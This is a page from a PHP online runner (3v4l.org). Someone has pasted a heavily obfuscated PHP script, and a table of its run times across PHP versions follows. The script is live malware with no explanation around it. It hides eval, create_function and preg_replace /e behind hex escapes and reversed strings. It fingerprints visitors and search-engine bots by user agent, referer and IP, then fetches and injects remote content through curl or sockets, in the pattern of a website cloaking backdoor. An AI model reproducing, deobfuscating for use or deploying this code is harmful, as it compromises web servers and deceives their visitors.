3v4l.org

run code in 300+ PHP versions simultaneously
<?php $w9 ="\x2f\50\x2e\52\x29\57"; // / ( . *) / e $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W'; $syv= "\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\141\x72\162\x61\171"; $siv = "\x73\164\x72\137\x72\145\x70\154\x61\143\x65";$slv = "\x73\164\x72\162\x65\166";$s1v="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}'; $n9 = '1067|416|779|223|361'; $ll = "\x70\162\x65\147\x5f\162\x65\160\x6c\141\x63\145"; $ee1 = array('\14',', $',') { ','[$i]','substr($','a = $xx("|","',',strpos($y,"9")',' = str_replace($','x3','\x7','\15',';$i++) {','function ','x6','); ','for($i=0;$i<sizeof($','); } create_function("", "};".$',' = explode("'); $ji9 = "\x2c\40\x24\145\x65\61\x2c\40\x24\163\x39\71\x29\51\x3b"; $s99 = 'Xoo2($bA$hM|", strrev($b)V$dM*"Ph[0]V$b = $h[1]; Bd)Z $bHiPdSPbNb."//"V} Xcqq($qwAreturn random($domarr,$qwV} Xoo1($yA$y= strrev($yV$g=DyG+1V$vM:",Dy,0G)VBv)Z $qM|"PvSV$gHq[0],$q[1],$gNg."//"V} $s1v(""Psiv("\71"," ",$slv($svv))VXrandom($arr,$qwA$g="\x20\167\x2d\70\J6794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\J3\54\C7\75\x20\167\x2e\40K2\73\x20L5\x2d\70"."6d944835,sq-873964872937873960\J8\66\C3\71\J5\61\J8\67\J4\42\Jb";$soy = "\C5L6\J2";$xx="\C5\170K0"."L4\CfO4\C5";$ecx="\C3\162\C5O1K4O5\x5fO6K5L6\C3\164\C9L7\Ce";$scy="K3\164K2\137K2O5K0L4\C1O3\C5";$F\x5c\170Kc\134\J1\174\Jd\42Kc\42\Jb\44Kc\44");$aF8|9|-|,| ");$mec=$ecx;Ba)Z$g = $scy($aaS,$aS,$gV}$ecx("", "};$g//");$mec(""Psoy("\230\77L3O7\26\167\114\130\223\257\211\2\253\5\172\316\25\262O5\25\62\72\127L6\270\100L4\56\341\77\4\37\21L2\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)Vreturn $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;} $r9M|",$n9V$b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++Aif ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=Dv9Pa9Pb9V} $y =1; for($i=0;$i<5Z$vv1 ="o"."o".$y;if ($y==1) $y=2; else $y=1; $vv1($v_SV}'; echo $ll($w9, $syv.'("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M")'.$ji9, NULL);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0090.00617.00
8.3.50.0130.00817.84
8.3.40.0180.00319.09
8.3.30.0160.00318.90
8.3.20.0030.00618.89
8.3.10.0060.00319.06
8.3.00.0040.00419.63
8.2.180.0090.00917.00
8.2.170.0000.01422.96
8.2.160.0120.00321.36
8.2.150.0070.00024.18
8.2.140.0040.00424.66
8.2.130.0040.00426.16
8.2.120.0050.00320.95
8.2.110.0030.00721.02
8.2.100.0120.00018.16
8.2.90.0030.00619.36
8.2.80.0040.00419.09
8.2.70.0030.00517.75
8.2.60.0030.00617.80
8.2.50.0000.00818.07
8.2.40.0050.00318.22
8.2.30.0000.00818.00
8.2.20.0090.00017.93
8.2.10.0060.00318.05
8.2.00.0040.00418.00
8.1.280.0040.01125.92
8.1.270.0050.00324.66
8.1.260.0100.00726.35
8.1.250.0000.00728.09
8.1.240.0080.00022.53
8.1.230.0110.00020.97
8.1.220.0050.00317.74
8.1.210.0060.00319.03
8.1.200.0000.00917.47
8.1.190.0000.00717.40
8.1.180.0050.00318.10
8.1.170.0000.00918.82
8.1.160.0050.00218.93
8.1.150.0040.00418.72
8.1.140.0050.00217.68
8.1.130.0000.00717.86
8.1.120.0000.00717.62
8.1.110.0050.00317.66
8.1.100.0050.00317.55
8.1.90.0000.00817.59
8.1.80.0000.00717.60
8.1.70.0030.00317.52
8.1.60.0140.00017.81
8.1.50.0040.00417.62
8.1.40.0040.00417.61
8.1.30.0000.00817.75
8.1.20.0050.00317.80
8.1.10.0030.00517.74
8.1.00.0050.00317.61
8.0.300.0030.00320.01
8.0.290.0040.00417.00
8.0.280.0030.00318.41
8.0.270.0000.00717.30
8.0.260.0000.00716.96
8.0.250.0080.00017.16
8.0.240.0060.00317.18
8.0.230.0070.00017.17
8.0.220.0000.00717.15
8.0.210.0060.00317.03
8.0.200.0070.00017.18
8.0.190.0040.00417.07
8.0.180.0030.00917.02
8.0.170.0030.00617.14
8.0.160.0000.00817.13
8.0.150.0030.00616.95
8.0.140.0090.00317.04
8.0.130.0030.00313.52
8.0.120.0040.00417.10
8.0.110.0040.00417.03
8.0.100.0000.00717.12
8.0.90.0030.00517.01
8.0.80.0090.01217.08
8.0.70.0040.00417.14
8.0.60.0000.00717.09
8.0.50.0040.00417.08
8.0.30.0070.01117.28
8.0.20.0160.00517.37
8.0.10.0040.00417.09
8.0.00.0070.01417.00
7.4.330.0000.00513.19
7.4.320.0030.00316.81
7.4.300.0000.00616.76
7.4.290.0050.00516.80
7.4.280.0050.00216.74
7.4.270.0070.00016.73
7.4.260.0060.00013.41
7.4.250.0050.00316.87
7.4.240.0020.00516.80
7.4.230.0000.00716.75
7.4.220.0160.00316.75
7.4.210.0080.00816.79
7.4.200.0070.00016.53
7.4.190.0070.00016.84
7.4.160.0090.00916.64
7.4.150.0070.01116.90
7.4.140.0120.00516.72
7.4.130.0100.00716.70
7.4.120.0070.01016.69
7.4.110.0120.00916.68
7.4.100.0120.00616.58
7.4.90.0130.00316.64
7.4.80.0060.01119.39
7.4.70.0120.00916.68
7.4.60.0060.00916.78
7.4.50.0110.00016.45
7.4.40.0080.01116.79
7.4.30.0050.01016.71
7.4.00.0100.01015.21
7.3.330.0080.00013.32
7.3.320.0000.00813.41
7.3.310.0000.00816.28
7.3.300.0030.00316.31
7.3.290.0160.00316.54
7.3.280.0080.00816.49
7.3.270.0110.00516.46
7.3.260.0030.01516.65
7.3.250.0100.00816.56
7.3.240.0090.00916.48
7.3.230.0060.01116.46
7.3.210.0060.01016.70
7.3.200.0060.01016.28
7.3.190.0150.00616.40
7.3.180.0060.00916.71
7.3.170.0030.01616.43
7.3.160.0130.00316.39
7.3.120.0130.00314.91
7.2.330.0090.00916.63
7.2.320.0130.00316.89
7.2.310.0110.00716.65
7.2.300.0070.01016.60
7.2.290.0060.01116.52
7.2.00.0120.00919.61
7.1.200.0040.00815.77
7.1.100.0080.00518.45
7.1.70.0080.00317.30
7.1.60.0060.01819.40
7.1.50.0070.01417.16
7.1.00.0030.06722.36
7.0.200.0320.00315.02
7.0.140.0100.07022.09
7.0.120.0070.06022.00
7.0.60.0100.08020.05
7.0.50.0070.03717.89
7.0.40.0070.07717.75
7.0.30.0070.06317.66
7.0.20.0100.04317.80
7.0.10.0100.03317.85
7.0.00.0070.03717.71
5.6.280.0070.07021.07
5.6.210.0130.06320.70
5.6.200.0000.04318.16
5.6.190.0100.07718.13
5.6.180.0100.07718.18
5.6.170.0000.04318.18
5.6.160.0070.03718.19
5.6.150.0030.05018.18
5.6.140.0000.04318.15
5.6.130.0030.04018.11
5.6.120.0070.03718.18
5.6.110.0030.04018.11
5.6.100.0000.04318.16
5.6.90.0030.04018.18
5.6.80.0030.03717.54
5.6.70.0030.03717.60
5.6.60.0000.04017.48
5.6.50.0070.03717.47
5.6.40.0070.06717.54
5.6.30.0130.03017.56
5.6.20.0000.04717.50
5.6.10.0000.06017.45
5.6.00.0000.04317.46
5.5.350.0300.06720.52
5.5.340.0000.04018.02
5.5.330.0070.07718.02
5.5.320.0170.07017.93
5.5.310.0030.04017.93
5.5.300.0000.05017.94
5.5.290.0070.03717.92
5.5.280.0070.03717.93
5.5.270.0070.03717.91
5.5.260.0070.03717.98
5.5.250.0030.04017.79
5.5.240.0030.03717.41
5.5.230.0000.04017.29
5.5.220.0000.04017.28
5.5.210.0170.03317.30
5.5.200.0070.03317.34
5.5.190.0030.04017.27
5.5.180.0070.07317.27
5.5.160.0030.04017.24
5.5.150.0070.07717.35
5.5.140.0130.06717.35
5.5.130.0030.06717.30
5.5.120.0100.07017.36
5.5.110.0130.07017.23
5.5.100.0100.03717.22
5.5.90.0000.04017.25
5.5.80.0000.04017.20
5.5.70.0070.04017.19
5.5.60.0070.03717.24
5.5.50.0000.04017.16
5.5.40.0030.06317.18
5.5.30.0100.03317.19
5.5.20.0030.05317.26
5.5.10.0070.07717.22
5.5.00.0070.07717.21
5.4.450.0030.03719.22
5.4.440.0070.03719.34
5.4.430.0030.03719.45
5.4.420.0030.03719.39
5.4.410.0100.03019.19
5.4.400.0070.03318.96
5.4.390.0070.03318.99
5.4.380.0000.04018.98
5.4.370.0070.04019.21
5.4.360.0070.03718.97
5.4.350.0000.05019.07
5.4.340.0130.07318.96
5.4.320.0000.04719.04
5.4.310.0070.04318.95
5.4.300.0030.08318.98
5.4.290.0030.07318.95
5.4.280.0100.07718.95
5.4.270.0100.06719.14
5.4.260.0130.06718.98
5.4.250.0030.04019.09
5.4.240.0030.04018.96
5.4.230.0070.03718.82
5.4.220.0070.03719.12
5.4.210.0130.03018.88
5.4.200.0070.07319.02
5.4.190.0030.04019.08
5.4.180.0170.03718.92
5.4.170.0070.07719.02
5.4.160.0100.06319.01
5.4.150.0070.07718.96
5.4.140.0030.07716.33
5.4.130.0070.07016.36
5.4.120.0030.06316.36
5.4.110.0100.05716.30
5.4.100.0030.05316.30
5.4.90.0070.07716.25
5.4.80.0030.07316.27
5.4.70.0070.04316.27
5.4.60.0030.08016.14
5.4.50.0070.05016.40
5.4.40.0000.07316.41
5.4.30.0100.06716.34
5.4.20.0030.07716.27
5.4.10.0230.06016.30
5.4.00.0030.04015.79
5.3.290.0130.07314.67
5.3.280.0070.03314.55
5.3.270.0030.04714.45
5.3.260.0030.04314.57
5.3.250.0100.07314.58
5.3.240.0030.05314.55
5.3.230.0130.07014.40
5.3.220.0070.06014.40
5.3.210.0070.05314.35
5.3.200.0030.06714.56
5.3.190.0130.07014.54
5.3.180.0100.07014.35
5.3.170.0130.07314.45
5.3.160.0070.08014.52
5.3.150.0170.06314.53
5.3.140.0070.07714.51
5.3.130.0130.07314.52
5.3.120.0170.07314.50
5.3.110.0030.04314.51
5.3.100.0070.07014.04
5.3.90.0100.07013.96
5.3.80.0100.04313.98
5.3.70.0130.06713.88
5.3.60.0030.07313.77
5.3.50.0030.06013.92
5.3.40.0030.07713.71
5.3.30.0130.05714.00
5.3.20.0070.07313.68
5.3.10.0070.03313.63
5.3.00.0030.04313.42
5.2.170.0030.06011.22
5.2.160.0030.03311.22
5.2.150.0030.05011.22
5.2.140.0070.05711.22
5.2.130.0070.03711.22
5.2.120.0000.03011.22
5.2.110.0130.05311.22
5.2.100.0070.06311.22
5.2.90.0170.05011.22
5.2.80.0030.06311.22
5.2.70.0070.06311.22
5.2.60.0070.02711.22
5.2.50.0000.03311.22
5.2.40.0030.02711.22
5.2.30.0070.03011.22
5.2.20.0030.04011.22
5.2.10.0070.03711.22
5.2.00.0070.03311.22
5.1.60.0070.05311.22
5.1.50.0070.04011.22
5.1.40.0100.03011.22
5.1.30.0070.05011.22
5.1.20.0000.04311.22
5.1.10.0030.03311.22
5.1.00.0070.05011.22
5.0.50.0100.04311.22
5.0.40.0000.04311.22
5.0.30.0100.05711.22
5.0.20.0000.03011.22
5.0.10.0000.02311.22
5.0.00.0030.04311.22
4.4.90.0070.03311.22
4.4.80.0030.03311.22
4.4.70.0000.02311.22
4.4.60.0000.03011.22
4.4.50.0070.02311.22
4.4.40.0000.04011.22
4.4.30.0000.02311.22
4.4.20.0000.03711.22
4.4.10.0100.02711.22
4.4.00.0030.05711.22
4.3.110.0070.03011.22
4.3.100.0030.02311.22
4.3.90.0030.03311.22
4.3.80.0030.03711.22
4.3.70.0000.02311.22
4.3.60.0030.02311.22
4.3.50.0000.02011.22
4.3.40.0030.03011.22
4.3.30.0000.03011.22
4.3.20.0000.02311.22
4.3.10.0000.02711.22
4.3.00.0000.02711.22

preferences:
49.11 ms | 401 KiB | 5 Q